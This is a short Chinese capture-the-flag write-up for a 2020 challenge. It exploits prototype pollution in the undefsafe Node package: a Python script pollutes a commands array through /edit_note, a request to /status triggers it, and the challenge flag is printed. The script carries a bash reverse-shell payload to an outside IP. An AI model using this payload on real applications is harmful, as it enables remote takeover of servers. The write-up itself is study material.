0%

2020 网鼎杯 notes

notes

这道题主要考察的是js原型链污染,首先是引入的包undefsafe存在原形链污染

参考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

1
2
3
4
5
6
7
var a = require("undefsafe");

var payload = "__proto__.toString";

a({},payload,"JHU");

console.log({}.toString);

然后我们查看源代码,可以看见有个命令执行,所以我们所需要做的就是污染commands数组

根据上文,我们选择/edit_note路由,三个参数都可控,构造

1
2
3
4
5
6
7
url1 = "http://ef35ba3c6f1945798a3ae0f34ea3c2ae33a62a52d66348e6.changame.ichunqiu.com:8080/edit_note"

url2 = "http://ef35ba3c6f1945798a3ae0f34ea3c2ae33a62a52d66348e6.changame.ichunqiu.com:8080/status"

req1 = requests.post(url = url1, json = {'id': '__proto__', 'author': 'cccc','raw': 'bash -i >& /dev/tcp/49.232.1.225/8888 0>&1'})

req2 = requests.get(url = url2)

最后拼接执行的语句为

1
undefsafe(this.note_list, '__proto__' + '.author', 'bash -i >& /dev/tcp/49.232.1.225/8888 0>&1' )

这样就能造成原型链污染,如

访问/status路由,直接反弹shell,得到flag

Flag:flag{5bad9a50-85e9-407d-aed2-786d11bed46c}